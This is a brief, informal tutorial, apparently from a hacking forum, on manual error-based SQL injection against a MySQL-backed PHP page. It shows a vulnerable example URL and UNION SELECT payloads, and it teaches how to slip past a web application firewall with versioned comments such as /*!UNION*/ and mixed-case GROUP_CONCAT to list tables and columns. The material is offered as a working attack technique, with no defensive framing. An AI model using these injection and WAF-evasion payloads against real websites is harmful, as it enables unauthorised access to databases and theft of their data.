mysqli error injection manually for nubs

here we have a vulnerable url :
http://example.com/sqli.php?id=1' ( mysql error )
Now let's try to use the UNION SELECT statement and see what's will happened !
http://example.com/sqli.php?id=1+union+select+1 ( 403 FROBIDDEN )
If you see the 403 FORBIDDEN page, that's mean that WAF is enabled. so how can us bypass it ?
Simply, we gonna add some mysql-comments characters for our command.
So it will be :
UNION+SELECT > /*!UNION*/+/*!SELECT*/
group_concat(table_name) > /*!GrOuP_CoNcAT(table_name)*/
group_concat(column_name) > /*!GrOuP_CoNcAT(column_name)*/
So, after Replacing the normal commands with those commands, you will see that the 403 error Has been bypassed Successfully.
example :
http://example.com/sqli.php?id=1+/*!UNION*/+/*!SELECT*/+1 > No errors the sql injection excuted successfully